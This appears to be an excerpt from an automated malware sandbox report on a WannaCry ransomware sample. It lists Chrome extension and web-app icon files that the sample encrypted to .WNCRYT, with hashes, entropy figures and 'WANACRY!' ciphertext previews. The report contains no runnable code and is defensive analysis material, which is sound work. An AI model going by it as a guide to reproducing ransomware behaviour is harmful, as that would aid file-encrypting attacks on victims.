                                                                                                                                                                              Preview:WANACRY!....q....Z...w}.+..P.4....L.Hi.v.:H..}J/.....M`..\zq>|.....Bt^'.f....92;q.".>...".bG..b.I.......1..;.yE....@."..Wh..!r.....IW.h9.r.....iM....Ne.u../MD)7.rt...o..j.n.*.....f.5]....e...m4.W..x{([.l....dS.V....8n...g...z.r..Nf....2v....|).....[E.................t^\........K.M~.7.T8....G.-u...y.-.....RD.3.t..).&g...K.Q..DJ..!..M...{..K."H./..9..'.....1I.u_..0....9..M{vK.....p.(.].Y...Fy.:.dLM.......9U...0.T....r.[........<9V..-.N^R.|....kZ.mo..[....b..r.$o'..U*..5....*...>A^..dLn`...v.jm.$).......@C...f...s.m.0\..*.Pr....6.......%G.X......_.Q>..4.B.d...{.o.......".8...&...j.G+i!>.Gj....9. ....B.......-.5.c.......Y.`~..7h..I . .. .F.4.= B%zY.....=......X..Y/5..b.#y..* .......X.1.w.Pz..Z......2...\D.Q....E...L.W..A..1......x.O.1..~..#..=..Vg.`D.<.*....k.<..}|...(O&.[D.q{HV.}....h.....m.o....2=&.;.....T....\}J..i..G..v!.W..Y.d.....?.....U ...}T.U........)...B..p.p&"......|.d..|..s...A|.x.#0..c"=....^l...5v..q.Bg.U.....GH.4...u{...../.....&..

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_128.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):4648
                                                                                                                                                                              Entropy (8bit):7.9588927357840324
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oCY5zWAorQer0iNzNIh5J5iXR7/EUSEZvG5yB6jiGhBpgtwXNQdj4csa:udYcer0isOR7vpcyp6Bp7XNQdjOa
                                                                                                                                                                              MD5:E19F91CF882984BD5FDF8370542DDE2A
                                                                                                                                                                              SHA1:3F0EDDC74235C9DFE07C5EA973759DB819724CD8
                                                                                                                                                                              SHA-256:1E5B72303A2907BEECD29B7D493BB975CCAF1F2A804A92779E2210D2CCACE9CE
                                                                                                                                                                              SHA-512:8627A46ED5C8E56D53EC5E04E1905F37A5BF7C3744706E044D2BD50E1D8C64D9A4BB69E0B9AF25BBBF6459774AE67B777D3F7B1BF84D671CC24F493F6F7E91F4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......F....U....P...>:L.(...\.7.....%..U..No..3.,...H}.p..P....>....tC.&...{..r.d~W.#.R..$Q..'.S.Z..F\....P........G...SU..~qc.l=..N.......D.....dr..Oj4v=w.....d.,.....T.......A....Y.u.)..1..p.i._....A...{.:$.u.(..r....=....ktC.....k.....ez..4.....T.{...............F.d...%p....JY.uK.v.8.O.......W.)A..(......Ha....d..Q...I..'..........njF.Gr......5;#j.*......../..2$6.}.,....m..].P.j-m+k..3........../.<..m.qo...*p.*\.........C.pqg..W{[z.....Z..M..O.diG.-rT......o..j.I5W.)..M...8M.`_.....D|....[....n....2.@...=.;TH...%O..3^..8#..B.Y...?....}.1...b...U.O...E.fT.`UM.;.;........;...+0<....T...#R.%.u..e..X..F...@O..4M.[ce..Rh......fg..CC..C[1{.3@..a.p..... o...d.?..k.eL.va ..t.@.^ph.o=..G..c..1.HU.I#.........5.....4.7...s.9s@R.....r.G..He..0K.d.......o...g^X.EJ.....>.Y+.Lx.YX..~6.x.JR..R...JK...M.._...l.....A#:b.r;2.u..{1....}.w..m.....+V_t...~x....C.3...w`..+..K6.V...W...W&!.....-g.gM|...:a....M.y..I..........q..RH~...!.]d.f..m!.;(N

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_16.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):840
                                                                                                                                                                              Entropy (8bit):7.7582203628528354
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkSKgu9HhMkMZHF4qeR9mTt8FQax8VSdwBq4:bk3MhZl4qDTtrZsdwBq4
                                                                                                                                                                              MD5:171D426BA18FA656BB19331E94277CD9
                                                                                                                                                                              SHA1:A019E4E2051DBFC22E4686D9B068E19C668BCC69
                                                                                                                                                                              SHA-256:4AA4B8A6190B6CB81F9AECFB672888BC292DFE3A53C23C29FC00FA818DE4B3BB
                                                                                                                                                                              SHA-512:5F2E315D37181CC2B95DF4B5B31D92BFA53CD445F7BAE124EC94FCA8855284F5ED0182D82533A9B82F96E223012A3990E393A4CC22ECE624B996445F9BE86042
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........\.;.H.o.on..O..Qw).Ym..... .........1t.}.niO6khK3...'..,e..L..k..........;.Q?..X...w...0...).%.:l..L...o.J.kO.%.!.[.C@:.....#.....I..'{.....*.=..Hg.......%...:.....2.D..r..=iXQ......}".Z..\..z)...F..=.w..".O.....-+..d......t...Wf..................l..Q.u..KZ..H1N.P.2..........\...\.n..^w.%.U..w.....A1..Aa}76ErL.....6...E/......e.j.h7....R.....(.q...N...R...A.8 .L.#EU.Z....dwi..z.J8....+G.j.)7r..T.$j;...^!..J...4.W!:.n......V.\..8b.4#L....-z.Y.P[s|...9........{.."..\?.J..2..D...M....xU.B...]qe.. P.6...."..]..M....)..Mos_.#.9...=...3.j^.....p[.i5.Y.*.g$.*m.jZ*.8D.;..T-..R!V.%.iA..L.>..GB...Mv.m.+".....N..E..}T&.T.A..2e.:OA.}].C....8O..Z.I]H...yk.m@.d.xa.S......;...e}.g..r.L.L.......a.*JQ......+.8o.s].{V..ik.O{..2.M_.!/$...N.(........cs_....o9.CE+..x......s.z1.t..([.:..L_.....

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):440
                                                                                                                                                                              Entropy (8bit):7.5251830091059855
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEDdCYIn7djzK1MF6FCMiWs/jlxMOvUQ2:bkbTn7JR6UMiN7UQ2
                                                                                                                                                                              MD5:586FF44EFA37D8A944BDDEE971E2FC57
                                                                                                                                                                              SHA1:20C4FDFAFFA1705EAF1124E0D559DF0E7B792EC6
                                                                                                                                                                              SHA-256:A6240F024170D09BBA0285C927B315409FFE62D45639A2B280F1F399A129607E
                                                                                                                                                                              SHA-512:B5581E24DD9C6B6E440A8616B3D7C2E9960DC5D288A7095AEBEE241786BA8BF72C155373CECD1B73B7A479B54B5C384169E9D719A01A18431467E74CB5D4C1C2
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....W.......K..qMz`...H....@.O.yR..~..0.4f.l..FR.E..$...hO+y.6%..:..?`..w..=t..x.}.3.....Y7......0..v}BS...X.v.p..*.R=.#.......{`D..q2..$.L.NX....uT.rD~.'b..Lb........I...o.v.{r.3u%.I.8u. .--...cO.......1.|0j{....AH...T.)...tke..@......H........9....................z..!p2.P...s..@.4...Y.-..3wm.n.)<..$Q...kV.o..`....7............Fya.._.\7#z..(S.].Bg..cIl....?..Lw...88W.t+.....n..1...^.z^ds6.t|..[...&......xi&.....*(

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_close.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):536
                                                                                                                                                                              Entropy (8bit):7.559807943869885
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEnzajy5DHGLN/i4pec/GHnM2kRLP2a+lOtzA:bkKzHYN/iwVRLP21lOxA
                                                                                                                                                                              MD5:F3FE794FE30EEA3A9521F3FB57D96B65
                                                                                                                                                                              SHA1:16AF994EA3DD1DD1764C15256672E9FB9FDB58DD
                                                                                                                                                                              SHA-256:1FC8C5990B4BD72B8EECE04763D0126FFDAA502A014AC4E6F1B0BC588E3C8337
                                                                                                                                                                              SHA-512:2EB79B85427D5509943A10300DB8E672D365FE3E80A71FC254950C60D7CFB971860D22A10883055CCEE8E0DB919F5FD943ED42B0E32EE75683DB796D661D7662
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....3.,tv.bZW......4{...}...@....r.u..-...d%?.)...A.....d....J._.i.....}.&.....~M...<..N./.B.{i..I.......N.+5S..G.L)...0g.J.+.....K........*<...j....*.[...`....^.)..VXB.[...,..l.....8'.^..n..3(y..R....B.Gv......u...l'R.%.ok....t+.L.s.b..........C............^..V;4GJ....%.Q.b....2iY...9.O.8~..C..-..8:..YSf....n.N|c....$|A...n...Q>.2......#....."....B~3..{.J.......<!x.1it...j.vv.Z...D..7....Z...2. t=..{.....&B>R.wU.~.rsQ9.=Z ......7.b.#...QD..n.U.$..).s....J\..lc.>.....=........>....1..>....x....n%

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_hover.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):440
                                                                                                                                                                              Entropy (8bit):7.448613123763072
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkE8zNdBjIhrSOOo0XdfDlS0V8UyZD97B8P:bkddBjmrShJtfRxV85BS
                                                                                                                                                                              MD5:041BAD27E3F5CE6EF5749C1F0B6DA299
                                                                                                                                                                              SHA1:0AA0FF7F530229B5AC54A9AA2DB6CC6F82AF4DC7
                                                                                                                                                                              SHA-256:D183C3F3D6A9D4F78803BCF5439B9FEC1C9CD7AB2E491089892CCC5C9092554E
                                                                                                                                                                              SHA-512:FA1B93E2459485C147FEBA1EA09A0A762089EE2974C7A081A64DD9174D64771CF8F7B04991B12A2411167FC618448AC5F36BA8E9C8698D227C36774BABBA20DB
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....d6T.0...N.:$....#.....]..P....<.rcocB..o...s....u.}........y...^.!>.............[...`...... ..".jT..6B................v.....W.....!.wM\.z-....?3wjn....@......Z.w..%p...cb.............v#..).m<me.g3B.....c.9*.y.l2...K..5........M=..1........nO............d..eY....w|j:'...".... .........Hh...+/.6..........x............BZ...&E)...9...d...+.Z5$..P/...Zy7>.Y...^..#.0.........E.,M.~........*.....\.N\&x.}....

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_maximize.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):456
                                                                                                                                                                              Entropy (8bit):7.397177276622808
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkE2nIl7x2yzrViHNhgE0V03oaDq/lOyYFK6XotIR:bk6l23Hge3o8oOStq
                                                                                                                                                                              MD5:ED4AC3C7591534071B4F104C281B5E2E
                                                                                                                                                                              SHA1:5322D1063A3A291D90FCC07F01264ECD9D99FCF8
                                                                                                                                                                              SHA-256:521791F5D0BA07A8F55A2B0607290EC961EA0C4679785A9F41BFC6B1B1AA9673
                                                                                                                                                                              SHA-512:B555C3B4169FE5F14BDB85B26C9C9BFF343AA75BBEC607EA34EFDAD965E1251B64F5A42F74A226B30A475AA3B9E286ADA3FFA68B7FFE92D1AF64F7B2E4ECF656
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........i.m.1..a..-.e..d.....aAw;r...X.y...Lf.>..............~.O.8.6Ez...lP..8.....~L.....Q...k..(....J.e3.....S..gD..1rc...BF..$.7 T@.1..?............@#EQ...P.Tb...h.Oy?1.^@ .;...1.*...r...nw`..)h..@..VJ.A>.....g.W... $...g.Rr..S>.....%(.'....P....[.@..............?79.U.Q....S......].@.gs..<..i...4.2.g.~*NC....w..?.....B{..U.....X.2t..%..Q.o+....'..wdB._..O.6.S4wC.<@.....lfn...0.......k.;N.JF6..uD.).O......[...#.l&..h7....h

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_pressed.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):440
                                                                                                                                                                              Entropy (8bit):7.441729822936865
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEhN8mn0HGXoTaHtKukAUTjGu4/RSYzch60Th:bkjM0Hb+NKuk/TC/It6Ah
                                                                                                                                                                              MD5:123D3B933D3D34CCB79FD634966AC44F
                                                                                                                                                                              SHA1:D8E44DE76B181A0B8A7D47E4B60AC74A8562D58B
                                                                                                                                                                              SHA-256:8A616414945812CF798096988015E7EDC2FDE9BB0915D8FEEEEDA9ECA4F29A11
                                                                                                                                                                              SHA-512:B3898CE222419990AD75A791C2BE45356A55F44A36EABEFEBA68E3E6C9138820FA68770F0B50270634D878F47808D682F0DD1DDB5FC4A029C8402ABA5AB8081E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....... .K.m=..L<...'..o.J+..z?-f.....;..S/yb......=.2...N.y.....2.}.uv..Vsz....v(.'..0.2....gU..K.Yh.=.o.p...VI.GNg......7...|.eb.{.._S.+\..P........I..m..|T.$....)...t}....#u.@...;.\...z.09?.../9..T....3)(^|1k..4{T.X.Y....w.|.w.......A...u..>..............;o.0.r....P/0,..}60.&...b..e.....#.A`..cc...`.1.N~.../.|..=F.....Y.K..n....$.....So....5.4.e!.Q.Vy.&{n......%L...+.3.....,Y....X.}a.....0.p.#P...KV.aE..e.

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\128.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):8248
                                                                                                                                                                              Entropy (8bit):7.977513469502106
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:tG4pkyiBsh7YseaZ4Q8NlI88KdfX6UQSOv9Aj:jpaqJYYcHrdChbO
                                                                                                                                                                              MD5:C74BE176A38FF0560E0FA87A46C1E9AE
                                                                                                                                                                              SHA1:F8B1AB505DDF4275280DBAFE0B936C4CCC00EDB7
                                                                                                                                                                              SHA-256:F247586D4F359E78ED7820BA2F610B4E4130F2AD6FA611F77B860FEE34193E28
                                                                                                                                                                              SHA-512:71B53FFFA1B5588BCBEBE5F5DD7924103984C8DA5B98C1AED0049456EF377E5893152DF8BDEC3C60D7194A7D8FED7D4CE955447903D9CF2DC11D9F3192D6E0BC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......a..43'[. dm.Z.....K.].?Tc...E.......,..A...IO..r.V....A++.X..x...P.MU...O...gj/..}-.X.j.Y..\|3...rj.S....N.l.v.$....0.PY.Dy..h0...2...u7....F.a^@...z..+.L.........s.........)....M../Y....P......^=_.g.....U^...._.V.B..zG..t..V .0..SD.et...............YTR..]...&x.$...: .Z...0.da-O(..p0p.m....>.".'.W.L.........Y?.pp+...y...n7.........(......<.K..T.=.Z..N....hb.W.......D.s".8...(..Q..._...#...0v>.jh..k....D~&N..*'A6.....EN......l...Hl...e..a.V:`...(.&.ZA.\.z..T88.@I..d..........e..k.."m6.......... .............R....U@.8..T...6`..b_.j.........p...[.x.e...O."N..,<......^.....6'F......JX.M.r..q5..X...c.S5:Dc...C.qbo..x...f...~.l.../S.in.-l./.....,...%.*...@..utu.....cI..@..%....W."...t........O'..J.WpS..I^.....A..,..P.#r....ip.7@f...7..5..u......`...J._X..W...`.m. .\..5..{+<8.....<9.h~.o%c........1.].6a.\..qv.....g....(.m..i.u<...h.........T.?.mX.Q.*.....(`/.......;p).."Y-.@..9...z..-.....+3..:5..h..q.....

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\192.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):5976
                                                                                                                                                                              Entropy (8bit):7.968816202989384
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:o3Zx7+z30DPBvNj8+EFEqRd0MSAv9g8HYTyHGhXfo6pJS0TzHOm46DqnWya5QN+b:MizGX8+OMMfZ4l9fo6j1HKWyamN+Fp
                                                                                                                                                                              MD5:7E128D40102DF6FFECD8CFCF3C5E9D1E
                                                                                                                                                                              SHA1:0B845E35EBF03C2245649EFC59B0D7618A69927E
                                                                                                                                                                              SHA-256:12523C5EDD1D8BD4C2D0FAD2F9625C1DA6661A702E80589CA516B8817931D310
                                                                                                                                                                              SHA-512:A10BAD8BB55CB031C6933D777AEF6A027D558EF2C19568611F917DBE12A37B10A44A06A7ED9A8C72E9DA0C8BA1DABC02C1D0A7DCDD09E6207846BEABEF574F69
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......|...B/".F~._......1.)...H.d^s<...Xd.!z.}z......Y...6[D..n..[h...9iv..h...&..@...V..$L..SJ..6..[...(u.E...{.j+.?..D..z.....P.y3O......4.J.za..aA.!..J..g...d.q{...9A.*......x..6.x......'W_.K.....*...<....v....`}\>...v4..ec...v..uK...U?)SW..^.f....9.......d.z5...."..V|...,....Z.@..../...|d....1.!H..E)...:..{...6..w-@..;.K..8[A.}...Zn.<.~..J.K.'v3.......g....Hg7.5,.....I.Q.a..._x..}4...{.p...=@RY...u<'D...W..'..j.],...Il.p.+P.kg?..d.zp.3M..#....Vg..R.JEB.l{..*...D..(.85.m.:.j.'.......T.g..Z.(5f.uV0l....:`6I.LE...m........J6...,xm....j}El.*l..:..g.b..).....k.]..S+........2.d.c.....,..s...._.!gAT.+..k.<z.R..........7b%.(..A7.{.]..g.O>I...S.1>.+}..s...[.H.6...o0....;`...$R9.H.g...aWQQ..-#[.........$k*.U...i.....'..6.......Yl...x...o.jg..62h&x.h4..A|bH.......(...@..^e..iwA*<.......d.'...L.......`.....o....\L..{W.N#...............I..._.1....15Dg.W\...2.....$o.}!.M...qa.T..dwM.? ...>.2.....2.G..Nn....I-.{.l.r#Z.y...........`.&..

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):19880
                                                                                                                                                                              Entropy (8bit):7.990433255250533
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:A6BFfBJzypaJHrOOdFyH1PnDneAAdqzHXnxhhw8vrMSiOKDcY8Iw0FJTHgzSZi7y:NTnypSrOyFyH1nLoqzhhhbr0OOf7rgzk
                                                                                                                                                                              MD5:5ADA64B3871B1C4C8B486D7F7A6DE2D3
                                                                                                                                                                              SHA1:63F2907B12090776EE8E3E2057C8936E2A421E46
                                                                                                                                                                              SHA-256:326DEED8A5424E9759E6231B35AA507D29A24E0A3DFCA37040943404CAD5E764
                                                                                                                                                                              SHA-512:5DDC834B652996CD602EFFD3C194A6117F9EE4EB785B2590D6B38FA6D977ABC7ECCF7E5F0CD714603EBE39B2AC4D43036BEF67DDB702FEFCC2D3EB43AC4F3EC6
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......I....c..B......>V.....<.H..T...!5.%...1..a..Hx...*....C....7!a2?{I3F..*w>../..3..dJdl...j.R.(XxB.?N.Zn...Na"...B.y...`.$r.oB../...!..Z..B(0.......R.....E......U\.....EU..Kl.S.]..h..8...t.@?..[.0.O.A.6.j..f.(K.......0].48@..Q..5...-R.K........L......o>......z^...m..8..+O..@..z.$.........hK[..lt}.Tx.....|W...m.....;....f..v.[....(.p+^S.42>.y.)8.#+UbvI.U.w....;g%..DS..7g...c.... `.M....^}dn".2....u+-l..H.GR...U.j}...1...bAf..NF.......'(.lAx.G.$.W..j.9y.>1G....:.g...5@.......u.<......G......Ze!._...f...Zu>Z..6...5...^....vTa.DvC.{.f3...5d!..(...6t..........<.h[.Q.jN.#(..BUe*;7H..A8..O...[.c...Y...?.c....vCg.0......^D.".....C-4.ptR...~...f.........{/.H|.<.1....VV.a...I.MPI...j...U.Rn....Hn.&..Lc.cz..Z.{......f.k.].Fv.j..S.............(.W.d*!...1..K.....Q.4..(...Yt.6"'..^6.H.{.......8.d...xQy.&...8{U.Z.&...j.....<.#..5.5._P.n.O.....G..S.....V.Wv..<.$.W.w.-.../.Z8B...wq...GV9p.ZWPn..%.xE.RU*X...H5B...y.0._;.t......W.._.

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\32.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2104
                                                                                                                                                                              Entropy (8bit):7.900083753650562
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkLMegLfTzFOs1g/yTJ+oJOuwgltG3jOTnWZqokpNf:oLM9rR8/yBJtltsO3Nf
                                                                                                                                                                              MD5:01533A41C4B1991E4D6A6190FCD47450
                                                                                                                                                                              SHA1:470F52A877E0914087FE164DEFAE2368A394AB40
                                                                                                                                                                              SHA-256:DFCA8793F524A96D90C247F52AD54849A0E7E0CB3ACBDCD9F3FD3536D60DCDB2
                                                                                                                                                                              SHA-512:4406254CEF902DFCA5F7BB68E789351ED58D2E65C3AA62D3FB1A1956D80429F3C89FAB55F2D4B926A2D2454E81EB9348BD0650E96131CE7928B154E7965DE7EF
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....P,|?#2..-........vXH.ki).o...9C.J.5.QB}9..6...ek.0./5.K...(..?.Og.7K7.....q..B.[..w%z.....I.G...^....I..L#04../....h.e8..t4....m.u.....,`.d.'..~...U.^..i...U#.G.........c". ..).4R..s6.\=...I.|N[:.F...........&.G...)..!0Uj..b.....{T{.0................/y.......>#X.....>`..P......Dm...tV.!....wa...L.....@&}..k..8gn...%.@..*3..:..J.+Fe9........;..~G....9..o..'>.V...ft.v.Q.......8.v.bnge...#.%.IJ.>......Y]:...W...w.gl.i....5....om'..s..##..v.:U..*h....k.7v.......OAI..;.y.0...m.1....b...-``.4......S.^...U.A,.&...N.V....;W$..g.PG".KcW2...`..B.5.m.5../...E....#..T$.e..*......V.&..U.......C....ypL..r....[-...IHl...:.I.....2...=.#%.......iR....Jh.u..........K..V.D.n..\,Z.....5..|_...v....}.;5V.. x...O.)%....e_y..@.Pt.c^.....T.;~.XG}...\.+B...7H..Z.z..H.O.f._..3.`.7....6._........8...0.kI....T..[.....nLJy.i".rjdy:.......}a...<.....:5......RA........$"t..6.......qP....*.P.@{[~ .#.[...~.......U._KI.".d....-.e..q.....%..k.lc...q.

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\48.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):3160
                                                                                                                                                                              Entropy (8bit):7.945952163889733
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oExBWc8i4t4CQEKIWsOVFFDo5/6IyB9dQY2NYiu:dQO4SCQEKIhOdo3yq43
                                                                                                                                                                              MD5:F851ED0305BC72283864A9B7972A1598
                                                                                                                                                                              SHA1:0ADB0CF3E3D2D21B7B0BA73AA6E284BDBFC98E76
                                                                                                                                                                              SHA-256:B90FAAEF2FE555D1EC7FFCC9CF2208EF1C3EE28D0EC9838B760016482A8D1781
                                                                                                                                                                              SHA-512:DDEF1FB71201C88E11A9436EF82B202C96B28052C61F4310BFF441B46753D1C1F1879436D5C53985992BA6D15C0504295E6FFE1ADB22F089F754473BA9224D18
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....B...y.!..h...}.c".......(;.?."..;.!....+.{...*.E^f:.!>.......d............a...P..J<muI$...U{...O.]T|:O.-@........=...d..s.U..>..=..0..j..6.p@C..o....%.y..."6]........km.*f...Z.~.....Q)r..K-..[Gw.#D.9.a.D.W2ED....b$.C.....@.~..4.w.<....|.2....3.......6P.s.......8xt....".o.F..._.|c.y)..=.=O.R.........v.B.s..oERe..E..WZ.W._E.....IAu..8.....S._.V.|....Zt..i5...>l.z....c>=.....1._1.9W(...C..Y..c.9.............fB.q.,gP...F.O...7..(...R.X..K~....i.U.[l..lR.......v......Bi..w._.L.P...].Z.PM...%'...|.fl.(..e...kJ7....3lG%...YMn...6FR.j..h..%b.F.-....4................k.F,.0g...x.wY.>....U...n.(z+..\.........q....... Lf..'.....Y...>_qJ...~q..,..lQu..T Q.wZ.!..x.t.[.d..]..i.*..-w@..#.........9R.@OM$MI.I...8r..T`.......u<.....X..C.*.^..`B..T.~..6.C8>.....FA..a.X..p.....G....._>8ZX.',=Hz...._...Qk7\..n.i-.....8...PB`.....1...y.......o.u...f.`..3.E..}:I.|.>..Z3*A:.FL:7.......~A.M.....2~.#WM.~.%..*........PgPb.0....Xj..PJR.....x.

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\64.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):4120
                                                                                                                                                                              Entropy (8bit):7.956175793828677
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oWGuMah+2ERo/ZK0nGRwXFrlbtKR3CUC9Ieon:FaGDn/lb9I9
                                                                                                                                                                              MD5:F24E9BFF43C54A422AC9F7B4B4922174
                                                                                                                                                                              SHA1:2D6DA04163E72D28A37E23919595EF04CABDB6BB
                                                                                                                                                                              SHA-256:EC3BC417E374D4F6AE07ECB1ED78B6E9AA49029C82C9A2B17B81635C0B72F19B
                                                                                                                                                                              SHA-512:D2CFB8AEA4E1951EDC561E7264DB714CD2F19392AD69FDD517525C197B28695096472EDEE21F33CA94D5771171F41DCB0091925E433CF5F1C267375124F9FF9B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
